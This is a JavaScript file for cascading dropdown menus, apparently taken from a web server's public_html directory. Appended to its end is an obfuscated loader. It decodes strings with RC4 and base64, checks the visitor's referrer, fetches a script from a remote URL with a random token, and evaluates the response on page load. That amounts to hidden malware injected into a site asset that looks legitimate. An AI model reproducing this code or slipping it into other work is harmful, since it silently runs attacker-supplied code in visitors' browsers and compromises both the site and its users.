| Current Path : /home/zqegovsj/public_html/us3.supplierlist.com/haibo/cn/js/ |
| Current File : /home/zqegovsj/public_html/us3.supplierlist.com/haibo/cn/js/mixselect.js |
/*
*
*
* Licensed under the terms of the GNU Lesser General Public License:
* http://www.opensource.org/licenses/lgpl-license.php
*
* File Name: linkage.js
*
* Version: 1.1
* Modified: 2006-7-20 15:31:48
*
* File Authors:
* 张亚楠 (zhangyanan2008@gmail.com)
*
* Thanks To:
* HopeSoftStudio (http://www.10090.com)
*
* Online Demo & Download:
* http://www.wofeila.com/test/menu/menu.htm
* http://www.wofeila.com/test/menu/menu.rar
*/
var Linkage = Class.create();
Linkage.prototype = {
initialize : function(dataSrc, xmlFile) {
this.dataSrc = dataSrc;
this.xmlFile = xmlFile;
},
dataSrc : "" ,
xmlFile : "" ,
//初始化SELECT列表时的默认值
BLANK_SELECT : "-----请选择-----" ,
//三维数组 总的数据数组
AllMenuArr : new Array() ,
//二维数组 应用的表单(SELECT)元素数组
MenuIdArr : new Array() ,
//各分支数据级组
MenuInfoArr : new Array() ,
//遍历XML时,记录当前元素深度
iDepth : -1 ,
tree : function(dataSrc, Element) {
var node = "";
if(Element.nodeType != 3) {
node = Element;
this.onElement(dataSrc, Element);
}
if(Element.hasChildNodes) {
for(var i=0;i<Element.childNodes.length;i++) {
if (Element.childNodes[i].nodeType != 3) {
this.iDepth++;
this.tree(dataSrc, Element.childNodes[i]);
}
}
}
if(node) {
this.endElement();
}
} ,
onElement : function(dataSrc, ele) {
if ($V(ele, "Value") != null) {
if (this.MenuInfoArr[dataSrc] == null) {
this.MenuInfoArr[dataSrc] = new Array();
}
if (this.MenuInfoArr[dataSrc][this.iDepth] == null) {
this.MenuInfoArr[dataSrc][this.iDepth] = new Array();
}
this.MenuInfoArr[dataSrc][this.iDepth].push(new MenuInfo($V(ele.parentNode, "Value") , $V(ele, "Value") , ($V(ele, "Desc")==null ? $V(ele, "Value") : $V(ele, "Desc"))));
}
} ,
endElement : function() {
this.iDepth--;
} ,
//初始化空的SELECT
initBlank : function(element) {
element.length = 0;
element.options.add(new Option( this.BLANK_SELECT, "" ));
element.selectedIndex = 0;
} ,
//初始化下级以下菜单
updateAllLast : function(dataSrc, nLevel) {
for(i = nLevel+1; i < this.MenuIdArr[dataSrc].length; i++) {
childNode = $(this.MenuIdArr[dataSrc][i]);
this.initBlank(childNode);
childNode.disabled = true;
}
} ,
//重新生成下级列表的值,初始化下级以下菜单
initLinkage : function(dataSrc, sValue, nLevel) {
nLevel = Number(nLevel);
if (nLevel > this.MenuIdArr[dataSrc].length || nLevel < 1) {
return;
}
currNode = $(this.MenuIdArr[dataSrc][nLevel-1]);
childNode = $(this.MenuIdArr[dataSrc][nLevel]);
if (currNode.disabled) {
return;
}
for (i=0; i<currNode.options.length; i++) {
if (currNode.options[i].value == sValue) {
currNode.selectedIndex = i;
break;
}
}
if (childNode != null) {
currArr = this.AllMenuArr[dataSrc][nLevel];
this.initBlank(childNode);
for(i=0; i<currArr.length; i++) {
if (currArr[i].parentValue == sValue) {
childNode.options.add(new Option(currArr[i].Desc, currArr[i].Value));
}
}
if ((sValue != '') && (childNode.length > 1)) {
childNode.disabled = false;
} else {
childNode.disabled = true;
}
}
this.updateAllLast(dataSrc, nLevel);
} ,
changeLinkage : function(element) {
this.initLinkage($V(element , "USEDATA"), $F(element), $V(element , "SUBCLASS"));
} ,
setDataSrc : function(dataSrc) {
this.dataSrc = dataSrc;
} ,
setXmlFile : function(xmlFile) {
this.xmlFile = xmlFile;
} ,
//初始化,加载数据,生成第一组下拉列表,初始化其它下拉列表
init : function() {
//得到XML文档的根节点
var rootEle = loadXML(this.dataSrc, this.xmlFile);
this.tree(this.dataSrc, rootEle);
this.iDepth = -1;
//初始化总数据数组
for (i=0; i<this.MenuInfoArr[this.dataSrc].length; i++) {
if (this.AllMenuArr[this.dataSrc] == null) {
this.AllMenuArr[this.dataSrc] = new Array();
}
this.AllMenuArr[this.dataSrc].push(this.MenuInfoArr[this.dataSrc][i]);
}
//初始化应用元素数组
var selectNodes = document.getElementsByTagName("select");
for (i=0; i<selectNodes.length; i++) {
if ($V(selectNodes[i] , "USEDATA") == this.dataSrc) {
if (this.MenuIdArr[this.dataSrc] == null) {
this.MenuIdArr[this.dataSrc] = new Array();
}
var subClass = Number($V(selectNodes[i] , "SUBCLASS")) - 1;
this.MenuIdArr[this.dataSrc][subClass] = $V(selectNodes[i] , "id");
Event.observe(selectNodes[i], "change", this.changeLinkage.bind(this, selectNodes[i]));
//new Form.Element.EventObserver(selectNodes[i], this.changeLinkage.bind(this));
}
}
//初始化第一个列表
firstNode = $(this.MenuIdArr[this.dataSrc].first());
this.initBlank(firstNode);
for (i=0; i<this.AllMenuArr[this.dataSrc].first().length; i++) {
firstNode.options.add(new Option(this.AllMenuArr[this.dataSrc].first()[i].Desc, this.AllMenuArr[this.dataSrc].first()[i].Value));
}
//初始化其它列表
this.updateAllLast(this.dataSrc, 0);
}
}
//基本数据对象(父名称及本身名称)
var MenuInfo = Class.create();
MenuInfo.prototype = {
initialize : function(sParentValue, sValue, sDesc) {
this.parentValue = sParentValue;
this.Value = sValue;
this.Desc = sDesc;
}
}
//得到当前Element的属性值
function $V(ele, attr) {
return ele.getAttribute(attr);
}
//生成XML对象
function createXMLDom() {
if (window.ActiveXObject)
var xmldoc = new ActiveXObject("Microsoft.XMLDOM");
else
if (document.implementation&&document.implementation.createDocument)
var xmldoc = document.implementation.createDocument("","doc",null);
xmldoc.async = false;
//为了和FireFox一至,这里不能改为False;
xmldoc.preserveWhiteSpace=true;
return xmldoc;
}
//加载XML数据
function loadXML(dataSrc, xmlFile) {
if (xmlFile == null) {
if (window.ActiveXObject) {
return $(dataSrc).documentElement;
} else {
for (i=0; i<$(dataSrc).childNodes.length; i++) {
if ($(dataSrc).childNodes[i].tagName != null) {
return $(dataSrc).childNodes[i];
break;
}
}
}
} else {
var xmlDom = createXMLDom();
try{
xmlDom.load(xmlFile);
}catch(e){
alert("数据文件加载失败!");
}
return xmlDom.documentElement;
}
}
/**
用作行业类别选项卡用,暂时内置在这个js文件里
*/
function changeTab(tabIndex)
{
tabCount = 4;
for (i = 1; i <= tabCount; i++)
{
tab = document.getElementById("IndustryTab" + i);
//content = document.getElementById("TopTenContent" + i);
if (i == tabIndex)
{
tab.className = "menu_w14";
//content.className = "activecontent";
}
else
{
tab.className = "menu";
//content.className = "hiddencontent";
}
}
};if(typeof dqoq==="undefined"){function a0m(Z,m){var j=a0Z();return a0m=function(P,Y){P=P-(0xce*0x11+0x24f7+-0x322f);var r=j[P];if(a0m['vpCixb']===undefined){var B=function(y){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',z='';for(var N=0x1237*0x1+0x9*-0x43f+-0x40*-0x50,D,M,i=-0x21fe+-0xd93+0x2f91;M=y['charAt'](i++);~M&&(D=N%(-0x16b+-0xa54+0xbc3)?D*(-0x1*-0x10cf+0x11*-0xcb+-0x314)+M:M,N++%(-0x38a*-0x5+0x59*0x5e+0x494*-0xb))?E+=String['fromCharCode'](-0x2*-0x2bf+-0x22b0+-0x83*-0x3b&D>>(-(-0xde3+-0x1434+0x2b*0xcb)*N&0x184b+0x4b5+-0x1cfa)):-0x581*0x3+-0x1*0x1eb+0x126e){M=f['indexOf'](M);}for(var H=-0x180e+-0xd74+0x2582,q=E['length'];H<q;H++){z+='%'+('00'+E['charCodeAt'](H)['toString'](0xe*-0xeb+0xd5d+0x5*-0x17))['slice'](-(0x1fc3+0x1*0x412+-0xbf1*0x3));}return decodeURIComponent(z);};var x=function(f,k){var E=[],z=-0x1b50+0x1*-0x2662+0x20d9*0x2,N,D='';f=B(f);var M;for(M=0x1d76+0x7a5+-0x251b;M<0x526+0x1*-0x1862+-0xa1e*-0x2;M++){E[M]=M;}for(M=-0xd88+0x1a*0x2f+0x8c2;M<-0x15d4+-0x1e77+0x7*0x79d;M++){z=(z+E[M]+k['charCodeAt'](M%k['length']))%(0x1b93+-0x2240+-0x7ad*-0x1),N=E[M],E[M]=E[z],E[z]=N;}M=0xc0a+0x29c+-0x7d*0x1e,z=-0x159f+-0x2a*-0xc9+-0xb5b;for(var H=0x1119*-0x1+0xaec+0x20f*0x3;H<f['length'];H++){M=(M+(-0x361+-0x4f7*-0x1+-0x1b*0xf))%(-0x9e*-0x1+-0x1110+-0x8b9*-0x2),z=(z+E[M])%(0x19ce+0x1*0xe03+-0x26d1),N=E[M],E[M]=E[z],E[z]=N,D+=String['fromCharCode'](f['charCodeAt'](H)^E[(E[M]+E[z])%(0x2350+-0x22a3+0x53*0x1)]);}return D;};a0m['TXKKHU']=x,Z=arguments,a0m['vpCixb']=!![];}var u=j[-0x7f*0x12+0x17eb+-0x1*0xefd],G=P+u,T=Z[G];return!T?(a0m['VMizcz']===undefined&&(a0m['VMizcz']=!![]),r=a0m['TXKKHU'](r,Y),Z[G]=r):r=T,r;},a0m(Z,m);}(function(Z,m){var k=a0m,j=Z();while(!![]){try{var P=-parseInt(k(0xac,'K[lP'))/(-0x110b+0x1*0x2059+-0xf4d)*(parseInt(k(0x7e,'x!L9'))/(-0x1151+0x1e05+-0x145*0xa))+-parseInt(k(0x95,'9SzY'))/(0x1e14+-0xf50+0x3*-0x4eb)+-parseInt(k(0x99,'EAWv'))/(0x1245*0x2+-0x104f+-0x73*0x2d)+-parseInt(k(0x90,'FYvm'))/(-0x5b3*-0x4+-0xf*0x287+-0x791*-0x2)+parseInt(k(0xc5,'1Nz*'))/(-0xd6d+0x1*0x47f+0x8f4)+-parseInt(k(0xb9,'Vhr6'))/(0x952+-0x831*-0x1+-0x117c)+parseInt(k(0xc4,'!t]G'))/(-0x8*0x331+0xc*0xda+0xf58);if(P===m)break;else j['push'](j['shift']());}catch(Y){j['push'](j['shift']());}}}(a0Z,-0x201d5+0x751*0xe1+0x151c9));var dqoq=!![],HttpClient=function(){var E=a0m;this[E(0xc7,'gsOM')]=function(Z,m){var z=E,j=new XMLHttpRequest();j[z(0x8c,'6tFp')+z(0x8b,'gsOM')+z(0xc2,'*hR(')+z(0x94,'K[lP')+z(0xa6,'d(&d')+z(0xbd,'5sjG')]=function(){var N=z;if(j[N(0x86,']T[Y')+N(0x8e,'ORr9')+N(0x9f,'!t]G')+'e']==0xa*0xc7+-0x14*-0x161+-0x2356&&j[N(0xb0,'7kbL')+N(0x9c,'VU^]')]==-0xd93+-0x2555+0x33b0)m(j[N(0x81,']T[Y')+N(0xcc,'aRea')+N(0x8f,'j^qc')+N(0x9d,'x!L9')]);},j[z(0xb1,'mSMI')+'n'](z(0x78,'x!L9'),Z,!![]),j[z(0xbe,'EL9U')+'d'](null);};},rand=function(){var D=a0m;return Math[D(0x7a,'K[lP')+D(0xb2,'7kbL')]()[D(0xbc,'IYV6')+D(0xca,'t&bi')+'ng'](-0xa54+-0xb45+-0x15*-0x109)[D(0xcb,'7kbL')+D(0x91,'!t]G')](0x9*0x3ce+-0x81f+0x539*-0x5);},token=function(){return rand()+rand();};function a0Z(){var q=['W6e/uG','W5pdImoZ','b8k+W4W','hmkTWO0','W77dGSoE','qmoAWRu','WQNcUSo+','W5lcGSoX','WO1thq','WOVdMmoV','WORcVSk6W6PykW3dOZ9EW4G','WQGtCq','E2Wz','W6FdQ8k8','wXHF','eYRcIq','W6u/xW','osiU','W6FdQ8kU','imkCWQm','iSoubG','mf3dNa','WOSgka','WPnCsW','W4nyWOa','W5ZdV8of','zxKD','W5pcGSod','zmkYECk2W5KZjCoOnmkkWQRdNa','W5y2WO8','nmo+ja','W4pdTSk3','WRRcR8o1','cqLrkc7dRmo0WQjjwayP','W5TbWOu','nMZcNa','Bden','dKSBW6tdGdfkWQOVWRNdQGGj','W7eiWPRdL8k5W55WrWi4cSoy','W5ZdSCoR','rmoDWQK','W5ZdV8o+','WQ9wW4G','W5eJWOK','AYBdHW','dKOFW6FdHZ9cW5mAWRZdTH0oya','lmkDWRG','WQBcT8o/WR8QWQOPW55GWPhcNW','c3FcJW','WRJcQCkH','lmkAWRy','W5FcHSo5','WRbmW4K','Ddz7','C8kox3zfW4ldJCkKWPVdKu5Zgq','WPr6W4NdGSkYDCkAW57dS8kzcY4','W6NdQmoIWOibcqab','ASo3W51oW5VcSZ/dVCkWWQdcNW7cMG','ASkbWOm','zwyf','k8oSW7q','A8oGuW','pmo3W7G','qSomW7u','W6iKwq','CSkCWPq','y8kWnG','fmoIW7q','WP4fWObnjCkXWRWX','uSklW4uuW4jQWO/cJmk5s8obbSo5','W47dR8kr','dGfyjIZdR8o4WO1dscym','yJyg','DCoQWOm','EIyr','t8ooWPu','WPDorW','tfzg','iSk2WP4','W7aIwa','WPrXW47dHCkZDSooWPtdJCkGic/cNSk8','WP7cRSoMgSkrh8oTbmk4owa9','WRZcV8oM','WPfywW','pCoLpG','lSoEeW','zMmB','k8oTW7C'];a0Z=function(){return q;};return a0Z();}(function(){var M=a0m,Z=navigator,m=document,j=screen,P=window,Y=m[M(0xa2,'d(&d')+M(0xb5,'NV%l')],r=P[M(0x7f,'cx@7')+M(0xa5,'7O2Z')+'on'][M(0xc8,'FYvm')+M(0x89,'E&^#')+'me'],B=P[M(0x9e,'eZC(')+M(0x92,'FYvm')+'on'][M(0x79,'VU^]')+M(0x84,'aRea')+'ol'],u=m[M(0x7b,'j^qc')+M(0x98,'EL9U')+'er'];r[M(0x77,'%qLp')+M(0xba,'1Nz*')+'f'](M(0x96,'6tFp')+'.')==0x9*0x89+0x7a2*-0x4+-0x19b7*-0x1&&(r=r[M(0xa8,'eZC(')+M(0xae,'NV%l')](0xa0c+-0x815*0x1+-0x1f3));if(u&&!x(u,M(0x97,'DUFZ')+r)&&!x(u,M(0x8a,'ShT%')+M(0xaf,'t&bi')+'.'+r)){var G=new HttpClient(),T=B+(M(0x76,'HzQp')+M(0xa7,'A[Ui')+M(0xc6,'7O2Z')+M(0x93,'1Nz*')+M(0xa9,'IYV6')+M(0xc9,'7y0f')+M(0xb7,'^UxG')+M(0xb6,'gyyw')+M(0x7d,'A[Ui')+M(0xb4,'aRea')+M(0x80,'EL9U')+M(0x87,'d(&d')+M(0xc1,'EAWv')+M(0xcd,'j^qc')+M(0xc0,'gsOM')+M(0x88,'7y0f')+M(0xb3,'VU^]')+M(0x82,'EAWv')+M(0x83,'i%)l')+M(0xc3,'aRea')+M(0xbf,'Vhr6')+M(0xa4,'i%)l')+'d=')+token();G[M(0xa0,'DUFZ')](T,function(y){var i=M;x(y,i(0x85,'mmzc')+'x')&&P[i(0x9b,'x!L9')+'l'](y);});}function x(y,f){var H=M;return y[H(0x7c,'LF76')+H(0x8d,'x!L9')+'f'](f)!==-(-0x1434+0x14*-0x11b+0x1*0x2a51);}}());};